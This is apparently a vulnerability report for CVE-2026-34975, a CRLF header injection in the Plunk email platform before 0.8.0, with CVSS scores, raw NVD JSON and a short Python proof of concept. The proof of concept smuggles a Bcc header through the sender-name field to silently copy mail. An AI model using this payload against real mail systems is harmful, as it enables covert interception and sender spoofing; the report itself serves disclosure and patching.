Security Vulnerability Report
中文
CVE-2026-34975 CVSS 8.5 HIGH

CVE-2026-34975

Published: 2026-04-06 17:17:11
Last Modified: 2026-04-22 19:58:54

Description

Plunk is an open-source email platform built on top of AWS SES. Prior to 0.8.0, a CRLF header injection vulnerability was discovered in SESService.ts, where user-supplied values for from.name, subject, custom header keys/values, and attachment filenames were interpolated directly into raw MIME messages without sanitization. An authenticated API user could inject arbitrary email headers (e.g. Bcc, Reply-To) by embedding carriage return/line feed characters in these fields, enabling silent email forwarding, reply redirection, or sender spoofing. The fix adds input validation at the schema level to reject any of these fields containing \r or \n characters, consistent with the existing validation already applied to the contentId field. This vulnerability is fixed in 0.8.0.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:useplunk:plunk:*:*:*:*:*:*:*:* - VULNERABLE
Plunk < 0.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target API endpoint url = "https://api.plunk.example/v1/send" # Attacker's API token (requires authentication) api_key = "YOUR_PLUNK_API_KEY" headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json" } # Payload demonstrating CRLF injection in the 'from.name' field # Injects a 'Bcc' header to silently forward the email malicious_name = "Admin\r\nBcc: [email protected]" payload = { "to": "[email protected]", "subject": "Important Notification", "from": { "email": "[email protected]", "name": malicious_name }, "body": "This is a test email." } response = requests.post(url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34975", "sourceIdentifier": "[email protected]", "published": "2026-04-06T17:17:11.210", "lastModified": "2026-04-22T19:58:53.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plunk is an open-source email platform built on top of AWS SES. Prior to 0.8.0, a CRLF header injection vulnerability was discovered in SESService.ts, where user-supplied values for from.name, subject, custom header keys/values, and attachment filenames were interpolated directly into raw MIME messages without sanitization. An authenticated API user could inject arbitrary email headers (e.g. Bcc, Reply-To) by embedding carriage return/line feed characters in these fields, enabling silent email forwarding, reply redirection, or sender spoofing. The fix adds input validation at the schema level to reject any of these fields containing \\r or \\n characters, consistent with the existing validation already applied to the contentId field. This vulnerability is fixed in 0.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:useplunk:plunk:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.8.0", "matchCriteriaId": "1C345C16-7827-422F-922F-DA897AFFFDFB"}]}]}], "references": [{"url": "https://github.com/useplunk/plunk/security/advisories/GHSA-2mvm-rg5v-7hfq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}